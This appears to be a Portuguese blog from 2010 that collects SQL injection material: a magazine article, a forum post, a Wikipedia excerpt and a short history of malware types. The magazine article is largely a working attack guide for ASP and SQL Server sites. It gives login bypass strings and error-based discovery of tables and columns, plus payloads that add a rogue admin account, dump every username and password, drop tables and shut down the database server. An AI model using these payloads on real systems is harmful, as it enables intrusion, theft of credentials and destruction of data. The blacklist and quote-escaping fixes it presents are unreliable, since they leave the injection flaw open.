quinta-feira, 23 de dezembro de 2010
Funçao contra SQL injection
# function anti_injection($sql)
# {
# // remove palavras que contenham sintaxe sql
# $sql = preg_replace(sql_regcase("/(from|select|insert|delete|where|drop table|show tables|#|\*|--|\\\\)/"),"",$sql);
# $sql = trim($sql);//limpa espaços vazio
# $sql = strip_tags($sql);//tira tags html e php
# $sql = addslashes($sql);//Adiciona barras invertidas a uma string
# return $sql;
# }
#
# //modo de usar pegando dados vindos do formulario
# $nome = anti_injection($_POST["nome"]);
# $senha = anti_injection($_POST["senha"]);
#
# ?>
quarta-feira, 22 de dezembro de 2010
artigo de Marcelo R. Gomes Publicado: Nas edições da H4CK3R , da Editora Digerati
Esse texto é um conjunto de duas matérias que eu publiquei na Revista H4CK3R números #3 e #4. Foram escritos por mim e relata a utilização e formas de correção do SQL Injection.
Modo Básico, passando por senhas em sites
Hoje em dia é uma prática comum os sites pedirem um cadastro do visitante, e criar-lhe um login, dando acesso a áreas restritas e especiais do site. Cadastro esse que na maioria das vezes é gratuito, com a intenção apenas de fidelizar o usuário e claro, ter mais um e-mail para uma possível divulgação, que neste caso não se caracteriza spam, pois o devido usuário previamente aceitou informações vindas daquele site.
Em sites onde o cadastro é pago, aí a coisa muda de figura. O site imagina estar vendendo alguma informação ao visitante, e por isso, pode pedir alguns dados sigilosos do usuário e guardá-los seguramente no seu banco de dados.
O que venho apresentar, jogará seu login no vento e o site arderá no mármore do inferno, mas só vou falar como funciona porque Alah mandou e estava escrito com o bit sagrado.
Essa técnica geralmente é chamada de SQL Injection, ou seja, injeção de SQL. Funciona em sites que testam a entrada do login em scripts ASP com chamadas internas de SQL.
Vamos a lógica:
O programador, iniciante ou não, pensa em criar uma área restrita para o site, logo precisará de um login e senha para os usuários. Então é criado dentro do banco de dados (em sql ou mdb, mais comum em mdb) uma tabela chamada Users, com alguns campos, dentre eles Usuario, Senha, Nome e Admin. Esses campos informarão exatamente o que o nome diz, ou seja, o login do usuário, a sua respectiva senha, seu nome e um campo flag indicando se é admin do site ou não. Se for admin, geralmente tem acessos a cliques extras, do tipo incluir/editar/deletar alguma informação.
Feito isso, cria dentro da sua página um bloco onde pede o login e senha para o usuário ter acesso as devidas áreas. Geralmente, o formulário tem apenas os dois campos mesmo, user e senha. Esses dois campos são enviados para um script .asp, que validará ou não o login informado. Se for válido, redireciona para a área restrita, senão, volta ao login ou no máximo, informa que o login estava errado.
Bonito não!? Teoricamente funciona.
Vamos a prática:
Dentro desse script .asp, o programador colocou algo desse tipo:
*****
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn
‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
*****
Na prática inocente, isso funciona. Funciona muito bem. Testa os usuários, se a senha não for a correta, realmente não entra. Se um usuário foi digitado errado, também não dá acesso.
Mas, na prática hacker, isso funciona melhor ainda, pois permite entrarmos como qualquer usuário do sistema. Até mesmo com status de admin.
Vamos pensar um pouco:
select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
Essa é a string do SQL. Em VB e ASP, sabemos que para concatenarmos uma string dentro de outra, devemos usar aspa simples, invés de aspa dupla, pois a aspa dupla é para a string mestra, e a aspa simples é para a string interna.
Traduzindo a string acima, teríamos:
select usuario, senha, nome, admin from Users where usuario=’geek’ and senha=’s3nh4′
Dessa forma, trocamos as variáveis cUser e cSenha, pelos seus respectivos conteúdos.
Repito, isso funciona muito bem, quando usamos de forma inocente. Vale lembrar que de 10 sites em asp que pedem login e senha, 8 tem essa forma de consulta e estão sujeitos a algum tipo de invasão, dependendo do nível de acesso que permita aos seus usuários.
Você falou, falou, falou…. mas e daí!? Cadê o erro nisso?
Ok. Vamos ao erro:
Se quando formos digitar um login, tivermos essa string de programação do sql na cabeça, podemos formar outra facilmente, que injeta um comando de sql, dentro do que o programador já fez.
Ou seja, se eu digitar Mario no username, o sql ficará:
select usuario, senha, nome, admin from Users where usuario=’Mario’ and senha=’s3nh4′
Repare que as aspas simples continuam e fazem realmente parte do comando, que mostra ao sql que aquele campo deve ser comparado com um dado do tipo string.
Agora, se digitarmos no username Ma’rio (com uma aspa simples no meio), a página dará um erro, pois o comando ficaria desse tipo:
select usuario, senha, nome, admin from Users where usuario=’Ma’rio’ and senha=’s3nh4′
Analisando, vemos que quando fomos comparar o campo usuário, abrimos uma aspa simples, colocamos o conteúdo Ma e fechamos a aspa simples. Para o sql, a comparação terminou aí, o que vem depois, deveria ser comandos. Mas não era. Era a continuação do username, a palavra rio e mais uma aspa simples, que deveria estar fechando a primeira (antes da palavra Ma), mas na realidade está abrindo uma nova string no SQL, e como não é comparado com nada, o SQL retorna erro de programação.
Então, já que o SQL aguarda ansiosamente por outra aspa simples para fechar aquela primeira, porque nós não damos a ele, e aproveitando, injetamos um comando nele.
Imagine se usarmos a string ‘ or ’1 (isso mesmo: aspa simples + espaco + or + espaco + aspa simples + 1), ficaria assim:
select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=’s3nh4′
Lendo o comando, seria a mesma coisa que falar pro SQL: me retorne o usuario que seja igual a vazio OU 1. Lembrando que 1 em informática é a mesma coisa que True (verdadeiro). Lendo novamente: Me retorne o usuário que seja igual a vazio (não existe nenhum) OU verdadeiro (opa.. verdadeiro é verdadeiro, então achei). Nisso, a tabela pega todos os usuários, pois todos dão verdadeiro. Não são igual a vazio, mas o 1 garante que todos sejam válidos. Agora falta só filtrar a senha.
Se usarmos a mesma string mágica na senha, nós seremos o primeiro usuário da tabela, pois:
select usuario, senha, nome, admin from Users where usuario=” or ’1′ and senha=” or ’1′
Me retorne o usuário que seja igual a vazio (nenhum) OU verdadeiro (todos) E que tenha a senha igual a vazio (nenhum) OU verdadeiro (todos).
Isso traz todos os usuários da tabela, porém com o ponteiro no primeiro usuário.
Quando fazemos uma tabela de usuários, e colocamos no ar, qual o primeiro usuário que incluímos? Nós mesmos, claro. E com nível de administrador. E é exatamente esse que viramos quando usamos essa falha.
Alguns outros casos, são quando queremos entrar com o username de uma determinada pessoa. No username, colocamos o nome dela corretamente, e na senha, como não sabemos, usamos essa string que nos foi enviada por Alah. O SQL, muito esperto, entende que é pra retornar o usuário com o nome informado e que tenha uma senha igual a vazio OU verdadeiro. Ou seja, na verdade, ele irá ignorar a senha, e apontará para o registro que o username seja igual ao que foi informando no campo do formulário.
Outro ponto, é quando não sabemos o nome do usuário, e o site tem muitos cadastros. Então, entramos como qualquer um, e com seus respectivos direitos. No usuário colocamos a string mágica, e na senha chutamos qualquer coisa, por exemplo, 123456 (num site com mais de 200 cadastros, é 99% de certeza que alguém tenha usado essa senha.). Então, o SQL apontará o registro para o primeiro usuário que tenha essa senha no seu cadastro. Outras senhas usadas são: 123123, 123321, 121212, 111222, (o próprio nome do site), abc, abcd, abcdef, abc123, 123abc, e coisas fáceis desse tipo.
E no caso do login pedido ser um e-mail, essa string não funcionará, pois talvez exista uma validação no campo do login para atestar que o que foi digitado tem um formato de e-mail (digo talvez, pois já vi sites pedindo e-mail login mas que não validavam nada…)
Daí, usamos a string que passa por essas validações (como o campo de e-mail é grande, por não se saber qual o mail do usuário, podemos utilizar essa string maior. A string anterior é pequena para caber em qualquer campo de login e senha).
A string que passa pelos e-mails é:
eu@eu.com’or’.11′=’.11
Dessa forma, caso verifiquem se existe @, esta string passará pois tem 1 @ só.
Se verificarem se tem alguma coisa antes da @… ela é válida e também passa.
Se verificarem de trás pra frente na string.. procurando por uma TLD válida (com um ponto na terceira ou quarta casa, de trás pra frente), encontrarão o ponto (.) na terceira casa, que significa uma TLD brasileira (.br) ou de outros países. E se ainda verificarem mais pra trás, por domínios, encontrarão outros 2 pontos, o que torna esse e-mail pertencente a um dominio com subdomínio.
Ok. Sou dono de um site em asp, e uso essa forma de verificação. Agora que você já me ferrou e que todo mundo vai me invadir, pode me dizer como conserto isso?
Claro. É pra isso mesmo que eu estou falando desse erro. Para alertar os sites que estejam com esse problema. Vamos a correção:
O problema todo é que o script só verifica se achou ou não um usuário, não faz um check-up para atestar a veracidade do que foi encontrado. Então, bastaria adicionar o seguinte comando dentro daquele script:
*****
‘ Isso pega o usuário e senha informados no formulário
cUser = trim(request(usuario))
cSenha = trim(request(senha))
‘Isso verifica no banco de dados se o usuário e senha conferem
‘ (vamos supor que o banco já esteja aberto com o nome de objConn)
SQLOpen = select usuario, senha, nome, admin from Users where usuario=’ & cUser & ‘ and senha=’ & cSenha & ‘
objRS.Open SQLOpen, objConn
‘ Verifica se achou um usuário com o login e senha informados
if not objRS.bof then
if objRS.fields(usuario) = cUsuario and objRS.fields(senha) = cSenha then
response.write Bem vindo & objRS.fields(nome) & !
else
response.write Login inválido.
end if
else
response.write Login inválido.
end if
*****
Dessa forma não há furos de aspa simples ou aspa dupla, pois o IF não se confunde com isso.
Outra forma também, seria tratar o caractere da aspa simples dentro dos campos de usuario e senha, não deixando ele estar contido nesses campos. Mas é um pouco mais trabalhoso.
Outra coisa que é bom lembrar, é que esse erro não afeta somente a internet. Sistemas feitos em Delphi e Visual Basic com esse tipo de verificação de usuário também estão passíveis a esse erro. Portanto, verifique-os também.
Modo Avançado, buscando e alterando dados
Agora que você já sabe como entrar em um site restrito, que peça login e senha, feito em asp com sql, vamos aprender agora como ver dados das tabelas, modificar ou até mesmo apagar todo o banco de dados.
Aqui são usados conhecimentos avançados de programação em SQL e, se você não conhece SQL (a linguagem), então essa matéria não vai adiantar muita coisa pra você. Recomendo que caso queira se tornar um perito em invasão de banco de dados, vá aprender SQL primeiro.
Nem só de campos de formulários vive um site. O site também pode passar informações pela linha de endereços. Se você não consegue fazer alguma coisa pelos próprios campos (aqui também usaremos o campo de usuário de um login para fazer as ações), então abra o código fonte da página (aquele com o clique do botão direito do mouse, exibir código fonte), e procure pela linha do Form Action. O que vem depois do Action é a url ou página a ser chamada pelo formulário. Depois, procure nas tags de inputs o campo de entrada do usuário, geralmente denominado name=usuario ou name=user. Feito isso, já temos a nossa ação pela linha de comando, livre das travas impostas pelo formulário, tais como o limite de caracteres ou alguma validação de campo feito em javascript. Dessa forma, invés de preencher o campo usuário no form, você colocaria no endereço uma url desse tipo:
www.siteemasp.tld/arquivo.asp?user=comandos em sql
Não se preocupe com os espaços na URL, pois o Internet Explorer é bonzinho e se encarrega de trocar pelos devidos códigos de espaço (%20)
Vamos falar um pouco de teoria
No SQL, o comando de banco de dados é simplesmente uma string com um texto dentro. Esse texto, formado de comandos pré-estipulados, é interpretado pelo SQL e retorna o que foi pedido. Além dos comandos, existe também uma definição de Comentário dentro do SQl, que pra muita gente é algo desconhecido. Da mesma forma que você pode comentar o seu script ou programa, incluindo linhas que dizem pra que serve cada bloco, o SQL também permite, dentro dessa string, um comentário que facilitará o entendimento daquela string quando for lida por outra pessoa. Apesar de quase nunca ser usada na prática, esse caractere de comentário terá uma função extremamente valiosa para nós. Outro caractere que será muito usado e venerado aqui, é o caractere de “faz mais alguma coisa”, que além de executar o primeiro comando, manda executar um segundo comando dentro daquele primeiro. Entenderão o que eu estou dizendo mais na frente.
Só pra ilustrar, o caractere de comentário são dois sinais de menos “–“ e o caractere de nova execução é o ponto-e-vírgula “;”. O caractere asterisco “*” significa todos os campos da tabela.
Finalmente, vamos a prática…
Seria interessante que ao mesmo tempo em que você for lendo, ir também testando em algum site o que será dito adiante. É mais prudente montar um site em asp, com um acesso ao banco de dados em SQL Server próprio, para testar. É sempre válido lembrar que esta matéria é apenas para fins educacionais. J
Você está num site em asp, com acesso por SQL, que usa um campo de login e senha vistos por uma sql desse tipo:
SQL = “Select * from usuarios where username=’” & user & “’ and pass=’” & pass & “’”
A sql é desse tipo, mas você como usuário normal do site não conseguiria saber disso.
No campo de usuário, se você colocar o conteúdo:
Usuário: admin’ –
Senha: xyz
O que irá acontecer é que você irá entrar no site como se fosse o admin (levando em consideração que admin é o usuário real cadastrado no banco de dados como sendo o admin), mesmo sem saber a senha do admin, pois a senha agora será ignorada.
O caractere – - no final do campo especifica pro sql que daquele ponto em diante tudo é comentário, e a string do SQL final ficaria desse tipo:
SQL = “Select * from usuarios where username=’admin’ — ‘ and senha=’xyz’ “
Ou seja, a verificação “ ‘ and senha=…” virou um simples comentário dentro daquela string e não será processada pelo interpretador do sql. Dessa forma, você entrar simplesmente designando o username.
Creio que agora está entendido o uso do caractere de comentário. Vamos seguir em frente.
Caso você não saiba o nome de algum campo da tabela, ou até mesmo não saiba o nome de alguma tabela, podemos usar as mensagens de erro do SQL para poder conhecer mais sobre as tabelas do site. Façamos da seguinte forma no campo de usuário:
Usuário: ’ having 1=1 –
Senha: xyz
O erro dado será parecido com o abaixo:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.CODIGO’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/arquivo.asp, line 94
Agora, você já sabe o nome da tabela (usuarios) e o nome do primeiro campo (código) da consulta na tabela. Como foi usado *, este campo é o primeiro a ser retornado.
Se fosse usada uma string do tipo:
SQL = “select nome, login, senha, nivel, cpf from usuarios where ….”
O que ia ser retornado é usuarios.NOME, pois é o primeiro campo da pesquisa.
Se você agora montar uma outra string dentro do campo nome, irá saber o próximo campo da tabela:
Usuário: ’ group by usuarios.codigo having 1=1 –
Senha: xyz
Isso irá produzir o seguinte erro:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘usuarios.login’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/arquivo.asp, line 94
Você agora pode ir gerando erros assim até saber todos os campos que serão retornados da string SQL. Basta para isso dividir os campos com vírgula, assim:
Usuário: ’ group by usuarios.codigo, usuarios.login having 1=1 –
Quando você não obter mais nenhuma mensagem de erro, significa que todos os campos já estão validados e constam na string. Nesse ponto, você já saberá todos os campos e a ordem que eles virão.
Agora é interessante saber o tipo de cada campo e, para isso, vamos obrigar o sql a gerar um novo erro:
Usuário: ’ union select sum(login) from usuarios –
O erro aparece como:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/arquivo.asp, line 94
Isso informa que o campo login é do tipo varchar. Mas se por acaso a mensagem de erro vier da forma a seguir, é porque o campo em questão é do tipo numérico.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/arquivo.asp, line 94
Agora que você já sabe o nome da tabela, os nomes dos campos e seus respectivos tipos, vamos ao próximo passo, que é usar o caractere de “faz mais alguma coisa”, o excelentíssimo ponto-e-vírgula.
Usuário: ’ ; insert into usuarios (nome, login, senha, nivel, cpf ) values ( “Geek”, “haxo”, “p4ss”, 1, “12345678900”) –
Preciso explicar!? J Bem, isso faz uma inclusão na tabela usuários de um registro, o qual tem o username sendo haxo e a senha p4ss, o que permitiria a você ser um novo usuário do site, dessa vez devidamente registrado.
Obviamente, isso não se restringe a tabelas de usuários. Serve para qualquer tabela no site, como matérias, enquetes, colunas e até mesmo alguma tabela que guarde dados financeiros como cartões de crédito ou outras coisas.
Uma ténica boa para descobrir o conteúdo dos campos é atribuindo um campo texto a um campo numérico. Por exemplo, vamos supor que o site em um determinado momento, se referencie a uma matéria dentro dele por um código numérico, do tipo idm=432. Daí, podemos descobrir um usuário fazendo o seguinte esquema na URL:
www.siteemasp.tld/pagina.asp?idm=(select min(login) from usuarios) –
O erro retornado será assim:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘anderson’ to a column of data type int.
/arquivo.asp, line 94
Ou seja, sabemos que o menor login (na ordem alfabética) é Anderson. Isso acontece dessa forma direta, pois dentro do SQL a comparação de números não pode ter aspas simples, e o campo pode ser comparado com uma nova string sql, desde que entre parênteses.
Agora, podemos também descobrir sua senha, dessa forma:
www.siteemasp.tld/pagina.asp?idm=(select senha from usuarios where login=’anderson’) –
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Agora sabemos um usuário e uma senha real do site. Claro que se a senha do Anderson fosse numérica, o que aconteceria era aparecer uma matéria qualquer, mas bastaria pegar o ID da matéria, em algum lugar do código fonte, ou até mesmo na barra de endereços (caso ela mudasse), e saberíamos a senha dele, do mesmo jeito.
Uma outra situação, porém bem mais complexa e avançada, é a criação de SQL Transactions, que nada mais é do que um pequeno script que roda dentro do SQL e retorna uma resposta programada.
A seguinte linha, manda que seja criada uma Transact SQL concatenando todos os usuários e senha da tabela, e retornando em uma mensagem.
Usuário: ‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’ ‘+login+’/’+senha from usuarios where login>@ret select @ret as ret into alluser end –
Depois de enviado, isso cria uma tabela chamada alluser com um campo nomeado como ret, que contem um único registro com todos os logins e senhas concatenados.
Para ver o resultado disso, basta executar a url de matérias, dessa vez selecionando esse campo da nova tabela:
www.siteemasp.tld/pagina.asp?idm=(select ret from alluser) –
O retorno será alguma coisa desse tipo:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: atadmin/umasenha user3/abcd anderson/14quatorze’ to a column of data type int.
/arquivo.asp, line 94
Depois de ver os dados da nova tabela, apague-a:
Usuário: ‘; drop table alluser –
Captaram a mensagem? Isto é quase tudo que se pode fazer com o SQL Server, quando mau programado dentro de uma ASP. Existem pessoas que acham que simplesmente limitando o tamanho de um campo dentro do formulário, já estão se prevenindo de selects e outros comandos mais. Imaginemos um campo de usuário limitado em 12 caracteres:
Usuário: ‘;shutdown–
Exatos 12 caracteres. Isso derrubará todo o SQL Server da máquina, atingindo também outros sites que usarem esse servidor. Se limitar em menos, existe a alternativa de fazer direto no endereço da url, como foi mostrado no caso do ID de uma matéria do site.
Existe ainda formas de, por comandos em SQL, executar comandos arbitrários dentro do server que roda o sql server. Você por exemplo, poderia obter o dir de um c: ou até mesmo criar e apagar arquivos dentro da máquina. Mas isso, é um outro assunto. Por hora, tá bom.
Vale lembrar que todas essas situações descritas aqui funcionam em sites com SQL Server. Sites que tem um MDB como banco de dados, os selects funcionarão, mas coisas como SQL Transact e alguns outros comandos peculiares ao SQL Server não irão funcionar.
Você é programador de um site (ou vários) em asp e está perplexo com tudo isso, pois todos os sites que você fez estão vulneráveis a esse erro, e você precisa de uma solução rápida para consertar todos eles? Infelizmente, não existe. Você vai ter que verificar o conteúdo de cada variável, dentro da própria asp, antes de coloca-la dentro de um comando sql. Difícil e penoso? Pois é… quem mandou escolher essa profissão…
)
Escrito Por: Marcelo R. Gomes
Publicado: Nas edições da H4CK3R #3 e #4, da Editora Digerati
retirado de: http://evandropaes.wordpress.com/2007/03/26/conheca-tudo-sobre-sql-injection/
Materia.
Muitos novatos (inclusive eu) desenvolvem seus sites.. pensando que está tudo OK, e tudo mais.. mas na verdade, quando tratamos de algum sistema de onde o usuário se cadastra, e depois efetua o eventual Login, não podemos vacilar.. pois hoje em dia, são muitos os "hackers" por aí...
e por isso, toda a segurança é bem vinda!
Bom, para os que não sabem, na maioria dos sites onde tem um sistema de membros, e um botão para efetuar o "LOGIN", se não for muito bem esquematizado, qualquer um pode efetuar um login... mesmo sem saber senha alguma!
É.. é isso mesmo..
Mas isso não acontece em todos as páginas, acontece geralmente nas páginas feitas por gente que não entende muito de SQL, ou até mesmo de Asp..
Bom.. na prática é muito simples.. é só você ir até algum site, e digitar uma aspa simples (') .. e depois clicar em enviar, submit, login, ou algo do genero..
Se ao clicar nesse botão, gerar um belo erro de script, então é isso mesmo.. caminho está livre!
Como fazer? Simples!
Apenas digite no login e na senha:
'OR '1' = '1 .. isso irá liberar um user logado para você!
Geralmente ele logará com o primeiro NICK do banco de dados.. mas pode acontecer de ser aleatório.. isso depende da estrutura do site em questão..
Imaginem isso: O cara se cadastra em um site de compras online, e lá põe seus dados como CPF, Cartão de crédito, RG, e tudo mais.. para depois se logar, e fazer as compras, que serão debitadas no user dele.. no site mesmo..
Imaginem se alguém se loga no nome dele, rouba os dados, e ainda faz uma compra gigantesca!
Perigoso, não?
E como resolver isso?
Simples! Apenas temos que fazer com que não dê erro em nossas paginas quando alguém digitar o caracter (').. a famosa aspa simples...
Para fazer isso é assim:
A aspa simples é o caracter 39 do teclado..
então usamos um comando que substitui ela por duas delas, pois aí o comando sql entende como se fosse apenas uma, e envia só uma pro BD!
a sintaxe é:
Var_User = Replace(Request.Form("user"),chr(39),"''")
e façam o mesmo para o campo senha..
isso substitui a aspa simples por duas aspas simples.. e apenas uma é inserida no BD! e isso não ocasiona erro algum.
Bom gente.. é isso aí!
Abraços!
Matéria editada por:
Rogério Lanzarin - (Dark)
retirado de : http://www.scriptbrasil.com.br/forum/lofiversion/index.php/t9757.html
SQL Injection
Injeção de SQL
A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções
SQL dentro de uma consulta (query) através da manipulação das entrada de dados de uma aplicação.
Para exemplificar o funcionamento da injeção de SQL, consideremos uma instrução SQL comum:
SELECT id, nome, sobrenome FROM autores;
Essa instrução, que representa uma consulta na base de dados, retorna todas os registros das colunas "id", "nome" e "sobrenome" da tabela "autores". A partir desta mesma instrução, os registros a serem retornados podem ser restritos através da inclusão da cláusula WHERE, como é visto no exemplo abaixo:
SELECT id, nome, sobrenome FROM autores WHERE nome = 'josé' AND sobrenome = 'silva';
Com base nesta instrução, é fácil supor que "josé" e "silva" são strings, cujo conteúdo será preenchido pela entrada feita por algum usuário que estiver fazendo uso da aplicação.
Portanto, supondo que a aplicação não faça o tratamento apropriado do conteúdo inserido pelo usuário, o mesmo pode fazer o uso acidental do caractere de aspas simples. Gerando a entrada:
- nome = jo'sé
- sobrenome = silva
E fazendo com que a aplicação gere o código:
SELECT id, nome, sobrenome FROM autores WHERE nome = 'jo'sé' AND sobrenome = 'silva';
De acordo com a especificação da linguagem SQL, existe um erro de sintaxe nessa instrução, uma vez que a string passada para o campo nome é a apenas palavra "jo", pois a adição das aspas simples quebrou a delimitação das aspas simples originais da consulta. O interpretador do SQL espera que o restante da instrução seja outros comandos SQL válidos que complementem a instrução principal. No entanto, como "sé" não é um identificador válido, essa instrução não será executada e retornará um erro.
Com base neste problema, um possível atacante pode manipular os dados de entrada a fim de gerar um comportamento não esperado na base de dados.
Para exemplificar este conceito, consideremos na mesma consulta apresentada, a entrada dos seguintes dados pela aplicação:
- nome = jo'; DROP TABLE autores ; --
- sobrenome = silva
Fazendo com que a aplicação gere o código:
SELECT id, nome, sobrenome FROM autores WHERE nome = 'jo'; DROP TABLE autores ; --' AND sobrenome = 'silva';
Neste caso, a instrução será executada normalmente, pois não há um erro de sintaxe, no entanto, com a adição do caractere ponto-e-vírgula, a instrução foi dada como finalizada de modo prematuro dando espaço para uma nova instrução. Essa nova instrução, que poderia ser qualquer uma escolhida pelo atacante, pode ser a responsável por retornar dados confidenciais armazenados na base de dados ou de executar instruções que comprometam o sistema, como a remoção de dados e/ou tabelas, como pode ser visto no exemplo apresentado.
Aparentemente um método para prevenir esse problema seria a remoção de aspas simples dos campos de inserção da aplicação, ou simplesmente não executando a query nestas situações. Isso é verdade, mas existem várias dificuldades com esse método tanto quanto soluções. Primeiro, nem todos os usuários inserem dados em forma de strings. Se o usuário puder selecionar um autor pelo 'id' (presumivelmente um número) por exemplo, nossa query aparecerá como abaixo:
SELECT id, forename, surname FROM authors WHERE id=1234
Nesta situação, o atacante pode simplesmente adicionar uma instrução SQL no fim do 'input' numérico. Verificando os dialetos de SQL, vários delimitadores podem ser usados no Microsoft Jet DBMS engine, por exemplo, datas podem ser delimitadas com o caracter sustenido. Portanto, escapando da execução da adição de aspas simples, não necessariamente uma solução como demonstrado anteriormente.
Pode-se ilustrar esse ponto usando um exemplo de página de login em Active Server Pages (ASP), que acessa um servidor de banco de dados SQL e tenta autenticar o acesso em uma aplicação fictícia.
Abaixo está um pedaço de código de uma página de formulário, em que um usuário insere o username e o password para autenticação:
(...)
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
A parte critica é a parte do 'process_login.ascp' que cria uma 'query string':
var sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Se o usuário inserir os seguintes dados:
* Username: '; drop table users--
* Password:
... a tabela 'users' será apagada, negando o acesso para todos os usuários. A seqüência de caracteres '--' é o comentário de uma linha de SQL, a o ';' denota o fim de uma query e o começo de outra. O '--' no fim do campo username é requerido para que a query em questão seja executada sem erros.
O atacante pode logar como qualquer usuário, se souber o nome do usuário, usando o input abaixo:
- Username: admin'--
O atacante pode logar como o primeiro usuário da tabelas 'users', com a inserção abaixo:
- Username: ' or 1=1--
O atacante pode ainda logar como um usuário completamente fictício com o input abaixo:
- Username: ' union select 1, 'fictional_user', 'some_password', 1--
A razão para que isso funcione é que a aplicação acredita que a linha 'constante' que o atacante especificou é parte do 'recordset' recuperado da base de dados.
Retirado da Wikipedia
terça-feira, 21 de dezembro de 2010
Lembrete
800x600 - 781X444 pixels
1024x768 - 1005X612 pixels
1152x864 - 1261x868 pixels
A historia do virus
'Vírus'
Tornou-se comum o uso da palavra “vírus” para descrever um programa capaz de realizar qualquer atividade indesejável no computador. Originalmente, porém, os vírus têm uma definição menos abrangente: são softwares que se integram a outros “infectando-os”, com o objetivo de se espalharem de um sistema para outro.
As pragas digitais que ainda se alojam dentro de outros programas são raras e não têm mais o objetivo de se espalhar por este meio, mas sim dificultar sua remoção.
saiba mais
Vírus atacam brecha crítica no Windows
Microsoft e OpenOffice lançam atualizações contra golpes
Raio-x da segurança: entenda a função dos softwares que blindam o PC
Saiba como escolher programas para proteger seu PC
Pacotão de segurança: quarentena, antivírus antigo e varredura no PC
Existem também os chamados de “vírus de pendrive”, que nada mais são do que uma evolução das pragas que infectavam disquetes, embora alguns os considerem worms (detalharei a ação dos worms na coluna da próxima segunda, 17). Esses podem ser evitados segurando-se SHIFT ao plugar o dispositivo USB, o que impedirá a execução automática de uma praga armazenada no pendrive, ou desativando por completo o AutoRun, como explicou aqui Fernando Panissi, da coluna Tira-dúvidas.
A denominação de “vírus clássicos” foi criada para evitar confusões com o genérico “vírus”. Pelo mesmo motivo, um novo termo foi criados para definir qualquer programa indesejado:“malware” (malicious software).
Trojan
Nomeados com base na história do presente de grego, os “cavalos de tróia” tentam se passar por algo que interessa aos usuários, fazendo-os executar o programa malicioso sem suspeitar que o mesmo não é nada do que parece. O jogo "Animal" (1975), que tentava adivinhar em qual animal o usuário estava pensando, é considerado o primeiro cavalo de tróia, pois, apesar de ser benigno, copiava-se para todas as pastas as quais o usuário tinha acesso.
Hoje, por outro lado, é chamada de “trojan” qualquer praga incapaz de se espalhar sozinha. Por esse motivo, sites maliciosos ou comprometidos -- páginas legítimas alteradas por criminosos -- que infectam o sistema por meio de brechas de segurança instalam “cavalos de tróia” na máquina. A “enganação” se dá de forma muito menos aparente: a visita ao site legítimo ou um resultado malicioso em um site de busca.
Backdoor
Os “backdoors” (“porta dos fundos”) são programas maliciosos que dão ao seu criador o controle total do computador infectado. Geralmente são disseminados em conjunto com ferramentas úteis para que o usuário não suspeite da praga e, por isso, são considerados uma subcategoria dos trojans.
Foto: Reprodução
Netbus foi um backdoor extremamente popular por ser de fácil utilização. Permitia o controle de um sistema infectado. (Foto: Reprodução )
Exemplos de backdoors são os clássicos NetBus e BackOrifice, ambos de 1998. O Bifrost (2004) e o SpyOne (2006) são pragas mais recentes e populares. Algumas delas, como as versões mais recentes do NetBus e o SpyOne, são comercializadas como soluções de “administração remota”.
Criminosos com bom conhecimento técnico utilizam backdoors feitos especificamente para as tarefas que necessitam; outros tiram proveito de softwares legítimos como VNC e Radmin.
A preocupação com os backdoors deu origem aos chamados antitrojans. Alguns deles nada mais eram que firewalls simplificados que, em vez de monitorar a conexão toda, preocupavam-se exclusivamente com a identificação dos tráfegos de trojan-backdoors. Hoje esses softwares estão obsoletos e são desnecessários, seja devido ao firewall -- que bloqueia os backdoors -- ou ao antivírus, que detecta tanto um como o outro.
Spyware
Existe uma confusão a respeito de pragas que roubam informações confidenciais do sistema, tais como senhas de banco. Há quem diga que são spywares (“espiões”), mas não é o caso. Spywares são softwares que coletam informações comercialmente úteis, tais como hábitos de navegação, endereços de e-mail e softwares instalados no sistema.
Pode ser considerado spyware ainda o software que é usado pelos pais para monitorar o filho, a empresa que monitora o empregado, etc. Se a informação roubada tem claros objetivos financeiros -- cartões de crédito, senhas de banco, códigos seriais de programas instalados -- o programa deixa de ser um spyware para ser um trojan.
